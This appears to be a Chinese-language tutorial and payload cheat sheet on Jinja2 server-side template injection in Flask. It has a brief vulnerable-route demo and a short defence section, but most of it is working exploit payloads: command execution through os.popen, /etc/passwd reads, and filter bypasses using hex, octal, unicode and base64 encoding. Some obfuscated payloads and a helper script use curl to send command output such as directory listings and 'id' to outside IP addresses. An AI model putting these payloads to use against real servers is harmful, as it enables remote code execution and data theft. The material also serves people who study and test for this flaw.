简介 SSTI全称是Server-Side-Template-Injection
(服务器端模板引擎注入),所谓模板就是用于将后端数据(变量)转变为前端的视觉表现(HTML代码)的一种手段,使用模板引擎可以使网站程序实现界面与数据的分离。常见的模板:
python :jinja2、mako、tornado、django
php :smarty、twig
java :jade、velocity、springboot-Thymeleaf
一个简单的demo,使用flask中的jinja2进行模板渲染,结构如下:
flaskdemo/ ├── app.py ├── static └── templates └── index.html
1 2 3 4 5 6 7 8 9 from flask import Flask, render_template, request app = Flask(__name__)@app.route('/index' ) def index (): return render_template('index.html' ,name = request.args.get("name" )) app.run()
1 2 3 4 5 6 7 8 <html > <body > <h1 > My name is {{name}} </h1 > </body > </html >
运行app.py,访问http://localhost:5000/index?name=alice
即可得到页面My name is alice
,这就是一次简单且安全的模板渲染。
本文重点学习jinja2 SSTI。
漏洞成因与防御 成因 漏洞成因就是代码的不规范,直接在html插入字符如使用占位符,导致注入攻击,下面给出一段漏洞路由:
1 2 3 4 5 6 7 8 9 10 @app.route('/ssti' ) def ssti (): template ='''<html> <body> <h1> My name is %s </h1> </body> </html>''' %request.args['name' ] return render_template_string(template)
可以看到,代码直接把参数name替换进了html源码中,此时我们使用模板引擎可解析的代码闭合符如{{expr}}
,插入代码即可实现模板注入。
防御 防御方式也很简单,避免使用格式化字符串,使用更安全的{{}}
进行字符替换,例如:
1 2 3 4 5 6 7 8 9 10 11 12 render_template_string('{{name}}' ,name='alice' ) render_template('index.html' ,name='alice' ) ''' <!-- index.html --> <html> <body> <h1> My name is {{name}} </h1> </body> </html> '''
利用方式 1.直接注入 针对于
1 render_template_string('name is :%s' %request.args['name' ])
可以直接传递参数注入。
2.间接注入 针对于
1 render_template('index.html' ,name='alice' )
需要配合其它漏洞,如网鼎杯初赛web669中使用的利用zipslip
压缩文档路径穿越漏洞,实现文件覆盖,在伪造的html中插入SSTI payload并覆盖index.html文件,最后通过渲染html实现rce。
3.jinja2语法 基础语法
控制结构 {% %}
,也可以用来声明变量({% set c = "1" %}
)
变量取值 {{ }}
,比如输入7*7
,或者是字符串、调用对象的方法,都会渲染出执行的结果
注释 ``
从别人博客里找了一个例子,有助于理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from jinja2 import Template tp = Template('''{# 这是一个注释 #} {% set c = [5, 6, 7, 8, 9] %} {% for i in a+c %} {% if i % 2 %} {{ i }} {% endif %} {% endfor %} ''' )print (tp.render(a = [0 , 1 , 2 , 3 , 4 ]))
特殊语法 过滤器 有关过滤器:https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters
过滤器可以理解为是 jinja2 里面内置的函数和字符串处理函数,它能够
1 2 3 4 5 6 7 8 9 10 11 '''1.修饰变量''' {{foo|attr("bar" )}} {{"%s, %s!" |format (greeting, name)}} {{[1 , 2 , 3 ]|join('|' )}}'''2.链式调用,即前一个过滤器的输出作为后一个过滤器的输入''' {{ name|striptags|title }}
宏 可以在jinja2模板中自定义宏(函数),并在渲染后使用,如下所示:
1 2 3 4 5 6 7 8 {% macro hack(name="xxx") %}<h1 > Hacked by {{ name }} </h1 > {% endmacro %}<p > {{ hack('alice') }} </p > <p > {{ hack() }} </p >
模板继承 模板继承允许我们创建一个骨架文件,其他文件从该骨架文件继承。骨架文件中block
关键字表示其包含的内容可以修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <head > {% block head %} <title > {% block title %}{% endblock %} - Home</title > {% endblock %}</head > <body > <div id ="content" > {% block content %}{% endblock %}</div > <div id ="footer" > {% block footer %} <script > This is javascript</script > {% endblock %} </div > </body >
1 2 3 4 5 6 7 8 9 10 11 {% extends "base.html" %} {% block title %} Tr0y's Blog {% endblock %} {% block head %} {{ super() }} <style type ='text/css' > .important { color : #FFFFFF } </style > {% endblock %}
1 2 3 4 5 from jinja2 import FileSystemLoader, Environment env = Environment(loader=FileSystemLoader("./" ))print (env.get_template("extend.html" ).render())
沙盒逃逸 @TODO
参考link:沙盒逃逸总结
攻击思路
注入点–获取特殊类–os.popen()
注入点–基类obj–基类obj的子类–<class 'os._wrap_close'>
– 加上__init__.__golbals__['popen'][ls].read()
特殊类 可利用的特殊类分为三种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 {{config.__class__.__init__.__globals__['os' ].popen('dir' ).read()}} {{lipsum.__globals__['os' ].popen('dir' ).read()}} {{url_for.__globals__.os.popen('whoami' ).read()}} {{get_flashed_messages.__globals__.os.popen('whoami' ).read()}} {{lipsum.__globals__.__builtins__.__import__ ('os' ).popen('ls' ).read()}} {{url_for.__globals__.__builtins__.__import__ ('os' ).popen('ls' ).read()}} {{cycler.__init__.__globals__.os.popen('dir' ).read()}} {{x.__init__.__globals__.__builtins__.__import__ ('os' ).popen('ls' ).read()}} {{x.__init__.__globals__.__builtins__.open ('/etc/passwd' ).read()}} {{config['__init__' ]['__globals__' ]['os' ]['popen' ]('ls /' )['read' ]()}} {{(config|attr('__init__' )|attr('__globals__' )).os.popen('ls' ).read()}}
常规思路 不同于利用特殊类,本节中的攻击思路都需要对子类进行遍历 ,以获取目标类。
⭐想获取模块的索引可以使用index(),如获取file模块的索引
1 '' .__class__.__mro__[2 ].__subclasses__().index(file)
注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>__builtins__
=>获取到file执行文件读写
注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>__builtins__
=>获取到eval、exec执行命令
注入点=>基类obj=>基类obj的子类=>不带wrapper的子类=>warnings.catch_warnings
文件读写 1 2 3 4 5 6 '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['file' ]('/etc/passwd' ).read() [].__class__.__base__.__subclasses__()[40 ]('/etc/passwd' ).read()
命令执行 1 2 3 4 5 '' .__class__.__mro__[2 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['eval' ]('__import__("os").popen("whoami").read()' ) [].__class__.__base__.__subclasses__()[59 ].__init__.__globals__['linecache' ].__dict__.values()[12 ].__dict__.values()[144 ]('whoami' )
绕过 闭合符 基础语法里提到了三种闭合方式控制语句{%...%}
、表达式{{...}}
、注释``,其中控制语句 支持几种语法:
下划线 _ 下划线可以使用十六进制进行替换,不过不能用.
取值因为只有字符串格式能识别十六进制,需要换成中括号[]
格式即
1 2 .__init__['\x5f\x5fglobals\x5f\x5f' ]
中括号 [] pop() 函数用于移除列表中的一个元素,并返回该元素的值,因此可以取代中括号取值。
1 '' .__class__.__mro__.__getitem__(2 ).__subclasses__().pop(40 )('/etc/passwd' ).read()
点 . 可以使用以下几种方式作为替代
中括号[]
过滤器取属性:|attr
、|map
__getattribute__
getattr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 xxx['__xxx__' ].__xxxx___ xxx['__xxx__' ]['__xxx__' ] xxx|attr('__xxx__' ) [1 ] | map (attribute="__class__" )| list | first xxx.__getattribute__("__xxx__" )getattr (xxx, "__xxx__" )
关键字 编码绕过 编码只有在字符串中才可以识别 ,因此要用括号或中括号包裹,。
1 2 3 4 5 6 7 8 url_for.__globals__.os.popen('who\x61mi' ).read() url_for.__globals__.os.popen('who\141mi' ).read() {{[].__getattribute__('X19jbGFzc19f' .decode('base64' )).__base__.__subclasses__()[40 ]("/etc/passwd" ).read()}} url_for.__globals__.os.popen('who\u0061mi' ).read()
再结合过滤器,就可以实现对.
、[]
、以及关键字的绕过,比如
1 2 3 4 5 6 7 xx|attr("\137\137\151\156\151\164\137\137" )|attr("\137\137\147\154\157\142\141\154\163\137\137" )|attr("\137\137\147\145\164\151\164\145\155\137\137" )("\137\137\142\165\151\154\164\151\156\163\137\137" )|attr("\137\137\147\145\164\151\164\145\155\137\137" )("\145\166\141\154" )("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51" )"" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(0 )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(133 )|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0070\u006f\u0070\u0065\u006e" )("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"" )|attr("\u0072\u0065\u0061\u0064" )()
拼接绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ''' url_for.__globals__.os.popen('whoami').read() 等价于 ''' url_for.__globals__.os.popen('who' +'ami' ).read() url_for.__globals__.os.popen('who' ~'ami' ).read() url_for.__globals__.os.popen('who%s' %'ami' ).read() url_for.__globals__.os.popen('w%s%s' %('ho' ,'ami' )).read() url_for.__globals__.os.popen('%s%s' |format ('who' ,'ami' )).read() url_for.__globals__.os.popen(['who' ,'ami' ]|join).read() url_for.__globals__.os.popen('who' .__add__('ami' )).read()dict (__buil=a,tins__=a)|join
request模块绕过 借用request模块二次传递关键字绕过,见附录jinja2内置类。
1 2 3 {{'' [request.args.t1]}}&t1=__class__ {{'' [request['args' ]['t1' ]]}}&t1=__class_
其它执行模块绕过 eval 1 xxx.__init__.__globals__.__builtins__.eval ('__import__("os").popen("whoami").read()' )
exec(无回显) 1 xxx.__init__.__globals__.__builtins__.exec ('__import__("os").popen("curl 101.xx.xx.xx:6677/`id`").read()' )
其它
eval, execfile, compile, open, file, map, input, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe, os.listdir, os.access, os.execl, os.execle, os.execlp, os.execlpe, os.execv, os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads,cPickle.load,cPickle.loads
格式化字符绕过 1 2 3 4 5 {{"{0:c}" ['format' ](97 )}} {{"" ['{0:c}' ['format' ](95 )%2b'{0:c}' ['format' ](95 )%2b'{0:c}' ['format' ](99 )%2b'{0:c}' ['format' ](108 )%2b'{0:c}' ['format' ](97 )%2b'{0:c}' ['format' ](115 )%2b'{0:c}' ['format' ](115 )%2b'{0:c}' ['format' ](95 )%2b'{0:c}' ['format' ](95 )]}}
无回显 1 2 {%print (lipsum.__globals__.__getitem__(\"os\").popen(\"base64 /f*\").read())%}
附录 内置类
python内置类
__class__
返回调用的参数类型__bases__
返回类型列表__mro__
此属性是在方法解析期间寻找基类时考虑的类元组__subclasses__()
返回object的子类__globals__
函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价__dict__
返回类或对象对应的属性__init__
返回类或对象的构造方法__builtins__
该模块提供对python 的所有内置标识符的直接访问__import__
导入包函数__getitem__
对象或者字典获取属性(方法不可以)
jinja2内置类
config:flask.Flask.config(类文件导入了os)
request:flask.request
flask.request.referrer.args 伪造referer
flask.request.values.args 适用于post,get
flask.request.args.args 只适用于get 其中a是参数
flask.request.cookies.args
flask.request.headers.args
session:flask.session
g:flask
jinja2内置函数
url_for:flask.url_for
get_flashed_messages:flask.get_flashed_messages
lipsum
常用脚本
字符转八进制
1 2 3 4 5 6 7 8 9 10 strr = "__init__" flag = "" for i in ["__init__" ,"__globals__" ,"__getitem__" ,"__builtins__" ,"eval" ,"__import__('os').popen('curl http://xxx?cmd=`cat /*`').read()" ]: for a in i: print (i+":" ) flag = flag + '\\' +str (oct (ord (a)))[2 :] print (flag) flag = ""
REF